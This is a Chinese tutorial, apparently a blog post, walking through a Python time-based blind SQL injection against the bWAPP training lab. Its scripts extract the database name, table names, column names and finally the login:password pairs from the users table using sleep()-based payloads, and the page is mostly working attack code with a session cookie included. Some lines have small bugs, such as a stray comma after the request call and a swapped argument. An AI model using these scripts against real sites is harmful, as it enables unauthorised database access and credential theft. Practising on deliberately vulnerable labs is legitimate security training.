使用python脚本的时间盲注完整步骤

文章目录

一、获取数据库名称长度

测试环境是bwapp靶场 SQL Injection - Blind - Time-Based

python 复制代码
import requests
import time

HEADER={
	"Cookie":"BEEFHOOK=sC9TPJjSgW8Y6CDh1eKrvcYP2vwhfFGpwNOTmU92yEiWtYEjcQpYCgFxMp5ZVLrIY4ebNwNv9dHeZhMz; security=low; PHPSESSID=i79vfbbj4l30k326ckunvitfe5; security_level=0"
}
BASE_URL="http://127.0.0.1:9004/sqli_15.php?"

def get_database_name_length(value1, value2):
	count = 0
	for i in range(100):
		url=BASE_URL+"{}=Man of Steel' and length(database())={} and sleep(1) -- {}".format(value1, i, value2)
		start_time = time.time()
		resp= requests.get(url,headers=HEADER)
		#print(resp.content)
		if time.time()-start_time>1:
			print("数据库长度为:{}".format(i))
			count = i
			break
	return count

执行语句:

databaselen = get_database_name_length("title", "&action=search") + 1

执行结果

tips:title=,&action=search需要使用burp抓包获得

--两边有空格

二、获取数据库名称

python 复制代码
def get_database_name(len, value1, value2):
	str = ""
	for i in range(1,len):
		for j in range(127):
			url=BASE_URL+"{}=Man of Steel' and ascii(substr(database(),{},1))={} and sleep(2) -- {}".format(value1, i, j, value2)
			start_time = time.time()
			resp= requests.get(url,headers=HEADER)
			if time.time()-start_time>2:
				print("{}:{}".format(i,j),chr(j))
				str+=(chr(j))
				break
	print("数据库名称为:",str)
	return str

执行语句:

database = get_database_name(databaselen,"title", "&action=search")

执行结果

三、获取表名总长度

python 复制代码
def get_table_name_length(database, value1, value2):
	count = 0
	for i in range(100):
		url=BASE_URL+"{}=Man of Steel' and length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = '{}'), 1)) ={} and sleep(1) -- {}".format(value1, database,i, value2)
		start_time = time.time()
		resp= requests.get(url,headers=HEADER)
		if time.time()-start_time>1:
			print("表名总长度为:{}".format(i))
			count = i
			break
	return count

执行语句:

tablelen = get_table_name_length(database,"title", "&action=search") + 1

执行结果:

四、获取表名

python 复制代码
def get_table_name(len,database, value1, value2):
	str = ""
	for i in range(1,len):
		for j in range(127):
			url=BASE_URL+"{}=Man of Steel' and ascii(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = '{}'),{},1))={} and sleep(2) -- {}".format(value1, database, i,j, value2)
			start_time = time.time()
			resp= requests.get(url,headers=HEADER)
			if time.time()-start_time>2:
				#print("{}:{}".format(i,j),chr(j))
				str+=(chr(j))
				break
		print("{}:".format(i),str)
	print("表名为:",str)
	return str

执行语句:

get_table_name(tablelen,database,"title", "&action=search")

执行结果:

,

五、获取指定表列名总长度

python 复制代码
def get_column_name_length(database,table, value1, value2):
	count = 0
	for i in range(100):
		url=BASE_URL+"{}=Man of Steel' and length(substr((select group_concat(column_name) from information_schema.columns where table_name='{}' and table_schema='{}'), 1)) ={} and sleep(1) -- {}".format(value1, table,database,i, value1)
		start_time = time.time()
		resp= requests.get(url,headers=HEADER)
		if time.time()-start_time>1:
			print("列名总长度为:{}".format(i))
			count = i
			break
	return count

执行语句:

columnlen = get_column_name_length(database, "users","title", "&action=search") + 1

执行结果:

六、获取指定表列名

python 复制代码
def get_column_name(len,database, table, value1, value2):
	str = ""
	for i in range(1,len):
		for j in range(127):
			url=BASE_URL+"{}=Man of Steel' and ascii(substr(substr((select group_concat(column_name) from information_schema.columns where table_name='{}' and table_schema='{}'), 1),{},1))={} and sleep(2) -- {}".format(value1, table, database, i,j, value2)
			start_time = time.time()
			resp= requests.get(url,headers=HEADER),
			if time.time()-start_time>2:
				str+=(chr(j))
				break
		print("{}:".format(i),str)
	print("列名为:",str)
	return str

执行语句:

get_column_name(columnlen, database, "users","title", "&action=search")

执行结果:

七、获取指定表指定列的表内数据总长度

python 复制代码
def get_data_name_length(table, username, password, value1, value2):
	count = 0
	for i in range(100):
		url=BASE_URL+"{}=Man of Steel' and length(substr((select group_concat({}, ':', {}) from {}), 1)) ={} and sleep(1) -- {}".format(value1, username, password, table,i, value2)
		start_time = time.time()
		resp= requests.get(url,headers=HEADER)
		if time.time()-start_time>1:
			print("列数据总长度为:{}".format(i))
			count = i
			break
	return count

执行语句:

datalen = get_data_name_length("users", "login", "password","title", "&action=search") + 1

执行结果:

八、获取指定表指定列的表内数据

python 复制代码
def get_data_name(len, table, username, password, value1, value2):
	str = ""
	for i in range(1,len):
		for j in range(127):
			url=BASE_URL+"{}=Man of Steel' and ascii(substr((select group_concat({}, ':', {}) from {}),{},1))={} and sleep(2) -- {}".format(value1, username, password, table, i,j, value2)
			start_time = time.time()
			resp= requests.get(url,headers=HEADER),
			if time.time()-start_time>2:
				str+=(chr(j))
				break
		print("{}:".format(i),str)
	print("登录数据为:",str)
	return str

执行语句:

get_data_name(datalen, "users", "login", "password","title", "&action=search")

执行结果:
我们发现使用这种方法似乎比burp更快更高效,只是从列爆破开始需要自己选表名

相关推荐
玩电脑的辣条哥21 分钟前
一台服务器已经有个python3.11版本了,如何手动安装 Python 3.10,两个版本共存
服务器·python·python3.11
weixin_3077791327 分钟前
PySpark实现ABC_manage_channel逻辑
开发语言·python·spark
海天一色y1 小时前
Pycharm(十六)面向对象进阶
ide·python·pycharm
??? Meggie1 小时前
【Python】保持Selenium稳定爬取的方法(防检测策略)
开发语言·python·selenium
星星点点洲2 小时前
【缓存与数据库结合最终方案】伪从技术
数据库·缓存
小黑屋的黑小子2 小时前
【MySQL】MySQL索引与事务
数据库·mysql·oracle
XIE3922 小时前
Browser-use使用教程
python
酷爱码3 小时前
如何通过python连接hive,并对里面的表进行增删改查操作
开发语言·hive·python
蹦蹦跳跳真可爱5893 小时前
Python----深度学习(基于深度学习Pytroch簇分类,圆环分类,月牙分类)
人工智能·pytorch·python·深度学习·分类
OK_boom5 小时前
Dapper的数据库操作备忘
数据库